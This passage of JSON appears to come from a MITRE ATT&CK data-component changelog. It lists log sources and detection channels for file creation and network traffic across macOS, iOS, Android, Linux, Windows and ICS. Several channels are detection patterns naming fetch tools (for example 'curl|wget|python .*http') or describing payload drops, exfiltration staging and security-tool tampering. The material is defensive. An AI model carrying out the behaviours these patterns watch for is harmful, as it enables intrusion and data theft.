                        {
                            "name": "iOS:unifiedlog",
                            "channel": "CREATE/WRITE of keylog artifacts (keys_*.txt, inputs.db) within app/keyboard container"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "CREATE/WRITE of form cache/credential-like artifacts (forms.db, creds.json) in container"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "CREATE/WRITE container paths like /Library/Caches/app_inventory.*\\\\.(json|plist|db)"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "CREATE/WRITE of /Library/Caches/security_inventory.*\\\\.(json|plist|db)"
                        },
                        {
                            "name": "linux:osquery",
                            "channel": "file_events"
                        },
                        {
                            "name": "linux:Sysmon",
                            "channel": "New files in /tmp, /var/tmp, $HOME/.cache, executed within TimeWindow after browser HTTP fetch"
                        },
                        {
                            "name": "macos:endpointsecurity",
                            "channel": "ES_EVENT_TYPE_NOTIFY_CREATE: path under /Users/*/(Downloads|Desktop|Library/*/Containers|Library/Group Containers) AND extension in SuspiciousExtensions"
                        },
                        {
                            "name": "macos:endpointsecurity",
                            "channel": "es_event_open"
                        },
                        {
                            "name": "macos:fsevents",
                            "channel": "/Library/StartupItems/, ~/Library/LaunchAgents/"
                        },
                        {
                            "name": "macos:osquery",
                            "channel": "CREATE/MODIFY: Modification of app.asar inside .app bundle"
                        },
                        {
                            "name": "macos:osquery",
                            "channel": "file_events"
                        },
                        {
                            "name": "macos:osquery",
                            "channel": "CREATE/MODIFY: Creation of LaunchAgents/Daemons plists in user/system locations"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "file write"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Creation or modification of browser extension .plist files"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "file creation in AV exclusion directories"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "file write/create"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "file events"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Creation of .plist under /Library/Managed Preferences/"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "creation of ~/.vscode-cli/code_tunnel.json"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "create/modify dylib files in monitored directories"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "New files written to /var/folders, /tmp, ~/Library/Caches, or ~/Downloads by browser context or its children"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "File created in ~/Library/LaunchAgents or executable directories"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Process wrote large .mov/.mp4 in user temp/hidden dirs"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "logd:file write"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "File creation"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Attachment files written to ~/Downloads or temporary folders"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Writes of .sql/.csv/.xlsx files to user documents/downloads"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Creation of .zip, .gz, .dmg archives in /Users, /tmp, or application directories"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Creation of .zip, .dmg, .tar.gz files in /Users, /tmp, or application directories"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "File Events"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Creation or modification of postinstall scripts within .pkg or .mpkg contents"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "create: New files in /tmp or ~/Library/Application Support/* with executable or script extensions"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "File creation of unsigned binaries/scripts in user cache or download directories"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Creation of files with anomalous headers and entropy values"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Creation of LaunchAgents/LaunchDaemons in hidden or non-standard directories"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Creation of .zip or .dmg files in user-accessible or temporary directories"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "file create or modify in /etc/emond.d/rules or /private/var/db/emondClients"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Writes under ~/Library/Application Support/Code*/extensions or JetBrains plugins"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: App writes asymmetric-encrypted blob or encoded ciphertext to local staging path before network transmission \u2014 encrypted staging artifact"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: Local file write between inbound retrieval"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: open() with O_CREAT on path LIKE '/data/data/%/files/%' for binary or dex content by app_package NOT IN $LegitDynamicLoaders$"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: open() with O_CREAT on binary-typed path in /data/data/<app>/ within $StegoExecWindow$ of media file download from same session"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: open() with O_CREAT for file with audio MIME type (audio/mp4, audio/aac, audio/3gpp) in /data/data/<app>/files/ within $AudioCaptureWindow$ of recording API start"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: open() with O_CREAT for APK or binary file in /sdcard/ or /data/local/tmp/ by browser process within $DriveByWindow$ \u2014 payload drop confirms exploit code execution"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: PackageInstaller.install() with installer_source NOT IN $ApprovedInstallSources$ within $PolicyViolationWindow$ of settings change"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: app binary written to device with signing certificate matching manually-trusted enterprise cert NOT IN $EnterpriseCertAllowList$ within $ProfileInstallWindow$"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: PackageInstaller.install() with signing_cert NOT IN $EnterpriseCertList$ within $PolicyViolationWindow$ of settings change"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: IPA binary written with signing cert matching user-trusted certificate NOT IN $EnterpriseCertList$ within $ProfileInstallWindow$"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: app binary written to device storage as part of install \u2014 confirms impersonating app is being persisted"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: PackageInstaller.install() writes binary to device storage for impersonating app \u2014 install event is the enrollment of impersonating app"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: open() with O_CREAT for APK file in /sdcard/ or /data/local/tmp/ within $PhishingWindow$ of navigation to flagged URL \u2014 APK drop confirms malware delivery phase"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: File with binary signature (.apk, .dex, .so, .sh) written to app storage or /data/local/tmp/ from USB-mounted path or external storage within $USBInstallWindow$"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: Compromised app writes staging, cache, or export artifacts inconsistent with its declared function within $PostInstallWindow$"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: App stages or caches content retrieved from web-service platform locally before initiating secondary network connection"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: App writes high-entropy blob (Shannon entropy > $EntropyThreshold$) to local staging path immediately before outbound transmission \u2014 encrypted staging artifact confirms app-layer encryption occurred"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: App writes newly retrieved binary, archive, native library (.so), DEX, or script to /data/data/<app>/files/, cache, or shared storage within $IngressWriteWindow$ of network retrieval from non-CDN source"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: Managed app writes newly retrieved container-local file, dylib-like resource, or opaque payload after download from non-CDN source"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: APK, DEX, or native library written to app installation path outside MDM-authorized update mechanism \u2014 binary replacement is the persistence artifact"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: App reads files across multiple directories or databases in background state (collection phase) then invokes archive or compression routines on collected content \u2014 read-then-archive sequence is the staging chain"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: App writes archive-like container, high-entropy packaged blob, or .zip/.gz output to app-private or cache path after bulk data collection \u2014 archive artifact in private storage is the staging evidence"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: App writes large container, temp package, or high-entropy blob to container-local storage after clustered data access \u2014 staged archive artifact"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: App writes to or modifies protected configuration files or local control structures of deployed security tools"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "IPA binary written with signing cert matching user-trusted certificate NOT IN $EnterpriseCertList$ within $ProfileInstallWindow$"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "PackageInstaller.install() with signing_cert NOT IN $EnterpriseCertList$ within $PolicyViolationWindow$ of settings change"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Browser/WebView process creates downloaded payloads, temporary files, dropped archives, or unusual cached web artifacts shortly after visiting external content"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "File writes from removable-media or USB-associated paths into download, package staging, temp, or application-accessible storage shortly after USB connection"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "large file write originating from /mnt/usb or external mounted storage"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Recently installed or updated trusted app writes staging, cache, buffer, or export artifacts inconsistent with its approved function, especially when temporally adjacent to sensitive resource access or outbound transfer"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "App stages, buffers, caches, or exports data locally immediately before communication with legitimate external web-service endpoints in a way inconsistent with normal sync or offline workflow"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Burst write to cache, buffer, temp, staging, or export path occurred between inbound retrieval and outbound write to same public web-service class"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Burst write to media, cache, temp, export, or staging path occurred during or immediately after camera session from same app identity"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "App writes encoded/encrypted blobs (high entropy data) to local storage or memory buffers prior to transmission"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "App writes high-entropy encrypted blobs to local storage or memory buffers prior to transmission"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "App writes asymmetric-encrypted blobs or encoded ciphertext to local buffers or files prior to transmission"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Application reads multiple user-data files, media objects, message stores, or app-private records in burst sequence immediately before packaging or encryption activity"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Application writes archive-like container or high-entropy packaged blob to app storage, cache, temp path, or shared external path after burst collection activity"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Application writes new large container, temp package, or high-entropy blob after clustered local data access and before outbound communication"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Application performs burst reads across local system paths, external storage, media directories, cache locations, or local database files within a short interval as the primary collection phase"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Application writes newly retrieved binary, archive, script-like asset, overlay content, library, or opaque payload to app-private, cache, temp, or shared external path as the primary local effect of transfer"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Managed app writes newly retrieved container-local asset, dylib-like resource, archive, or opaque payload shortly after remote retrieval as the strongest local effect"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "APK, DEX, native library, or package-associated executable content is written, expanded, or swapped in app package paths, staging paths, or installer cache immediately before or during application replacement"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "application modifies protected configuration, local control files, security settings, or tool-related data immediately before security service degradation or non-reporting state"
                        },
                        {
                            "name": "snmp:syslog",
                            "channel": "firmware write/log event"
                        },
                        {
                            "name": "WinEventLog:Microsoft-Windows-Shell-Core",
                            "channel": "New startup folder shortcut or binary placed in Startup directory"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "EventCode=11"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "File creation of suspicious scripts/binaries in temporary directories"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "EventCode=11 of alarm config paths by image not in Human-Machine Interface (HMI) alarm parent allowlist"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "EventCode=11 with executable/script extension from remote-sourced write operation"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "EventCode=11 from removable media path to Industrial Control Systems (ICS) engineering working directory"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "EventCode=11 where an unrecognized process creates a staging/output file after bulk ICS data access activity"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "EventCode=11 by same process within capture to file window of the Application Programming Interface (API) call"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "EventCode=11 to alarm threshold config path by image not in Human-Machine Interface (HMI) alarm parent allowlist"
                        }
                    ],
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_version": "3.1",
                    "x_mitre_domains": [
                        "ics-attack",
                        "enterprise-attack",
                        "mobile-attack"
                    ],
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 00:06:23.011000+00:00\", \"old_value\": \"2026-10-13 17:43:40.408000+00:00\"}}, \"iterable_item_added\": {\"root['x_mitre_log_sources'][0]\": {\"name\": \"MobileEDR:telemetry\", \"channel\": \"Monitored creation of an APK or application-package staging artifact following external retrieval\"}}}",
                    "previous_version": "3.1"
                },
                {
                    "type": "x-mitre-data-component",
                    "id": "x-mitre-data-component--764ee29e-48d6-4934-8e6b-7a606aaaafc0",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2023-03-13 19:59:42.141000+00:00",
                    "modified": "2026-11-03 00:14:02.475000+00:00",
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/datacomponents/DC0113",
                            "external_id": "DC0113"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "name": "Network Communication",
                    "description": "Network Communication captures outbound or inbound communication initiated by an application or mobile device, including the domains contacted, protocols used, and session metadata associated with the communication.\n\nMonitoring network communication enables defenders to identify command-and-control traffic, data exfiltration, or suspicious communication patterns originating from mobile applications.\n\nExamples\n\n- Connections to previously unseen domains\n- Repeated communication with suspicious infrastructure\n- Communication immediately following application installation\n\nCollection Methods\n\n- Mobile VPN telemetry\n- Secure web gateway logs\n- Network detection and response (NDR)\n- Mobile EDR network monitoring\n",
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_log_sources": [
                        {
                            "name": "iOS:NetworkExtension",
                            "channel": "NEFilterFlow, per-app VPN, or secure web gateway flow metadata"
                        },
                        {
                            "name": "android:EnterpriseNetworkLog",
                            "channel": "DevicePolicyManager.retrieveNetworkLogs(): DnsEvent / ConnectEvent; VPN flow metadata"
                        },
                        {
                            "name": "Application Vetting",
                            "channel": "None"
                        },
                        {
                            "name": "iOS:NetworkExtension",
                            "channel": "NEFilterFlow / per-app VPN / secure-web-gateway flow metadata"
                        }
                    ],
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_version": "2.1",
                    "x_mitre_domains": [
                        "mobile-attack"
                    ],
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 00:14:02.475000+00:00\", \"old_value\": \"2026-10-13 17:40:41.893000+00:00\"}}, \"iterable_item_added\": {\"root['x_mitre_log_sources'][0]\": {\"name\": \"iOS:NetworkExtension\", \"channel\": \"NEFilterFlow, per-app VPN, or secure web gateway flow metadata\"}}}",
                    "previous_version": "2.1"
                },
                {
                    "type": "x-mitre-data-component",
                    "id": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2021-10-20 15:05:19.274000+00:00",
                    "modified": "2026-11-03 00:15:15.935000+00:00",
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/datacomponents/DC0085",
                            "external_id": "DC0085"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "name": "Network Traffic Content",
                    "description": "The full packet capture (PCAP) or session data that logs both protocol headers and payload content. This allows analysts to inspect command and control (C2) traffic, exfiltration, and other suspicious activity within network communications. Unlike metadata-based logs, full content analysis enables deeper protocol inspection, payload decoding, and forensic investigations.\n\n*Data Collection Measures:*\n\n- Network Packet Capture (Full Content Logging)\n    - Wireshark / tcpdump / tshark\n        - Full packet captures (PCAP files) for manual analysis or IDS correlation. `tcpdump -i eth0 -w capture.pcap`\n    - Zeek (formerly Bro)\n        - Extracts protocol headers and payload details into structured logs. `echo \"redef Log::default_store = Log::ASCII;\" > local.zeek | zeek -Cr capture.pcap local.zeek`\n    - Suricata / Snort (IDS/IPS with PCAP Logging)\n        - Deep packet inspection (DPI) with signature-based and behavioral analysis. `suricata -c /etc/suricata/suricata.yaml -i eth0 -l /var/log/suricata`\n- Host-Based Collection\n    - Sysmon Event ID 22 \u2013 DNS Query Logging, Captures DNS requests made by processes, useful for detecting C2 domains.\n    - Sysmon Event ID 3 \u2013 Network Connection Initiated, Logs process-to-network connection relationships.\n    - AuditD (Linux) \u2013 syscall=connect, Monitors outbound network requests from processes. `auditctl -a always,exit -F arch=b64 -S connect -k network_activity`\n- Cloud & SaaS Traffic Collection\n    - AWS VPC Flow Logs / Azure NSG Flow Logs / Google VPC Flow Logs, Captures metadata about inbound/outbound network traffic.\n    - Cloud IDS (AWS GuardDuty, Azure Sentinel, Google Chronicle), Detects malicious activity in cloud environments by analyzing network traffic patterns.",
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_log_sources": [
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "Inspected application-package retrieval transaction, where authorized content inspection exposes the URL, response, or package type"
                        },
                        {
                            "name": "ALB:HTTPLogs",
                            "channel": "AWS ALB/ELB/GCP/Azure Application Gateway HTTP logs with unusual methods, long URIs, serialized payloads, 4xx/5xx bursts"
                        },
                        {
                            "name": "apache:access_log",
                            "channel": "Unusual HTTP POST or PUT requests to paths such as '/uploads/', '/admin/', or CMS plugin folders"
                        },
                        {
                            "name": "API:ConfigRepoAudit",
                            "channel": "Access to configuration repository endpoints, unusual enumeration requests or mass downloads"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "setsockopt, ioctl modifying ARP entries"
                        },
                        {
                            "name": "AWS:VPCFlowLogs",
                            "channel": "Traffic between instances"
                        },
                        {
                            "name": "AWS:VPCFlowLogs",
                            "channel": "Large volume of malformed or synthetic payloads to application endpoints prior to failure"
                        },
                        {
                            "name": "AWS:VPCFlowLogs",
                            "channel": "Unusual volume of data transferred from S3 storage endpoints to non-corporate IPs"
                        },
                        {
                            "name": "AWS:VPCFlowLogs",
                            "channel": "High volume internal-to-internal IP transfer or cross-account cloud transfer"
                        },
                        {
                            "name": "azure:activity",
                            "channel": "networkInsightsLogs"
                        },
                        {
                            "name": "azure:vpcflow",
                            "channel": "HTTP requests to 169.254.169.254 or Azure Metadata endpoints"
                        },
                        {
                            "name": "container:proxy",
                            "channel": "outbound/inbound network activity from spawned pods"
                        },
                        {
                            "name": "dns:querylog",
                            "channel": "Domain Name System (DNS) query from Industrial Control Systems (ICS) host to domain not in approved vendor domains, particularly domains exhibiting Domain Generation Algorithm (DGA)-like patterns"
                        },
                        {
                            "name": "docker:events",
                            "channel": "remote API calls to /containers/create or /containers/{id}/start"
                        },
                        {
                            "name": "docker:stats",
                            "channel": "unusual network TX/RX byte deltas"
                        },
                        {
                            "name": "ebpf:syscalls",
                            "channel": "Process within container accesses link-local address 169.254.169.254"
                        },
                        {
                            "name": "EDR:hunting",
                            "channel": "Advanced Hunting: DeviceProcessEvents + DeviceNetworkEvents"
                        },
                        {
                            "name": "esxcli:network",
                            "channel": "Socket sessions with randomized payloads inconsistent with TLS"
                        },
                        {
                            "name": "esxcli:network",
                            "channel": "listening sockets bound to non-standard ports"
                        },
                        {
                            "name": "esxcli:network",
                            "channel": "listening sockets bound with non-standard encapsulated protocols"
                        },
                        {
                            "name": "esxcli:network",
                            "channel": "Socket inspection showing RSA key exchange outside baseline endpoints"
                        },
                        {
                            "name": "esxi:vmkernel",
                            "channel": "Network activity"
                        },
                        {
                            "name": "esxi:vmkernel",
                            "channel": "Outbound traffic using encoded payloads post-login"
                        },
                        {
                            "name": "esxi:vmkernel",
                            "channel": "HTTPS POST connections to webhook endpoints"
                        },
                        {
                            "name": "esxi:vmkernel",
                            "channel": "Inspection of sockets showing encrypted sessions from non-baseline processes"
                        },
                        {
                            "name": "esxi:vmkernel",
                            "channel": "HTTPS POST connections to pastebin-like domains"
                        },
                        {
                            "name": "esxi:vmkernel",
                            "channel": "network stack module logs"
                        },
                        {
                            "name": "esxi:vmkernel",
                            "channel": "Suspicious traffic filtered or redirected by VM networking stack"
                        },
                        {
                            "name": "esxi:vmkernel",
                            "channel": "VMCI syslog entries"
                        },
                        {
                            "name": "esxi:vob",
                            "channel": "NFS/remote access logs"
                        },
                        {
                            "name": "etw:Microsoft-Windows-NDIS-PacketCapture",
                            "channel": "TLS Handshake/Network Flow"
                        },
                        {
                            "name": "etw:Microsoft-Windows-WinINet",
                            "channel": "HTTPS Inspection"
                        },
                        {
                            "name": "etw:Microsoft-Windows-WinINet",
                            "channel": "WinINet API telemetry"
                        },
                        {
                            "name": "gcp:audit",
                            "channel": "network.query*"
                        },
                        {
                            "name": "gcp:vpcflow",
                            "channel": "first 5m egress to unknown ASNs"
                        },
                        {
                            "name": "IDS:TLSInspection",
                            "channel": "Malformed certs, incomplete asymmetric handshakes, or invalid CAs"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "Per-app VPN flow logging indicating opaque/archived payload transfer preceding local decode"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "Per-App VPN flow with code-like content types (application/octet-stream, application/zip, text/javascript, application/x-mach-o)"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "WKWebView navigation to domain visually similar to target brand (IDN/punycode/alike score)"
                        },
                        {
                            "name": "linux:syslog",
                            "channel": "Query to suspicious domain with high entropy or low reputation"
                        },
                        {
                            "name": "linux:syslog",
                            "channel": "curl|wget|python .*http"
                        },
                        {
                            "name": "linux:syslog",
                            "channel": "Unexpected SQL or application log entries showing tampered or malformed data"
                        },
                        {
                            "name": "linux:syslog",
                            "channel": "Integrity mismatch warnings or malformed packets detected"
                        },
                        {
                            "name": "linux:syslog",
                            "channel": "DNS response IPs followed by connections to non-standard calculated ports"
                        },
                        {
                            "name": "linux:syslog",
                            "channel": "Multiple NXDOMAIN responses and high entropy domains"
                        },
                        {
                            "name": "m365:office",
                            "channel": "External HTTP/DNS connection from Office binary shortly after macro trigger"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "process + network metrics correlation for bandwidth saturation"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "DNS query with pseudo-random subdomain patterns"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "network flow"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "curl|osascript.*open location"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "subsystem: com.apple.network"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "open URL|clicked link|LSQuarantineAttach"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "None"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Connections to suspicious domains with mismatched certificate or unusual patterns"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "HTTP POST with encoded content in user-agent or cookie field"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Suspicious outbound HTTPS requests to domains flagged as newly registered or untrusted after spearphishing message interaction"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "log stream (subsystem: com.apple.system.networking)"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Encrypted connection with anomalous payload entropy"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Rapid incoming TLS handshakes or HTTP requests in quick succession"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "network, socket, and http logs"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "DNS responses followed by connections to ports outside standard ranges"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Persistent outbound traffic to mining domains"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Encrypted session initiation by unexpected binary"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "eventMessage = 'promiscuous'"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "outbound HTTPS connections to code repository APIs"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "eventMessage = 'open', 'sendto', 'connect'"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "dns-sd, mDNSResponder, socket activity"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "process + network activity"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "subsystem=com.apple.WebKit"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "subsystem: com.apple.WebKit or com.apple.WebKit.Networking"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "encrypted outbound traffic carrying unexpected application data"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Persistent outbound connections with consistent periodicity"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "TLS connections with abnormal handshake sequence or self-signed cert"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Web server process initiating outbound TCP connections not tied to normal server traffic"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "outbound TLS connections to cloud storage providers"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "outbound HTTPS connections to cloud storage APIs"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "process, network"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "process = 'ssh' OR eventMessage CONTAINS 'ssh'"
                        },
                        {
                            "name": "Netfilter/iptables",
                            "channel": "Forwarded packets log"
                        },
                        {
                            "name": "Network Traffic",
                            "channel": "None"
                        },
                        {
                            "name": "networkconfig ",
                            "channel": "interface flag PROMISC, netstat | ip link | ethtool"
                        },
                        {
                            "name": "networkdevice:config",
                            "channel": "NAT table modification (add/update/delete rule)"
                        },
                        {
                            "name": "NetworkDevice:IDS",
                            "channel": "DoH/DoT identification, SNI/HTTP host when observable, DNS tunneling signatures"
                        },
                        {
                            "name": "networkdevice:IDS",
                            "channel": "content inspection / PCAP / HTTP body"
                        },
                        {
                            "name": "networkdevice:syslog",
                            "channel": "ACL/Firewall rule modification or new route injection"
                        },
                        {
                            "name": "networkdevice:syslog",
                            "channel": "config change (e.g., logging buffered, pcap buffers)"
                        },
                        {
                            "name": "networkdevice:syslog",
                            "channel": "Authentication failures, unexpected community string usage, or unauthorized SNMPv1/v2 requests"
                        },
                        {
                            "name": "networkdevice:syslog",
                            "channel": "Authentication failures or unusual community string usage in SNMP queries"
                        },
                        {
                            "name": "NSM:Connections",
                            "channel": "Symmetric encryption detected without TLS handshake sequence"
                        },
                        {
                            "name": "NSM:Connections",
                            "channel": "TLS handshake + HTTP headers"
                        },
                        {
                            "name": "NSM:Connections",
                            "channel": "Abnormal certificate chains or non-standard ports carrying TLS"
                        },
                        {
                            "name": "NSM:Connections",
                            "channel": "Unusual POST requests to admin or upload endpoints"
                        },
                        {
                            "name": "NSM:Connections",
                            "channel": "Outbound connections to internal enterprise services exhibiting anomalous protocol behavior, malformed sessions, or exploit-consistent traffic patterns"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "Pub/sub protocol, client ID, topic/queue and message metadata when observable"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "Protocol identification; MQTT CONNECT/SUBSCRIBE/PUBLISH, AMQP/DDS metadata where parsable"
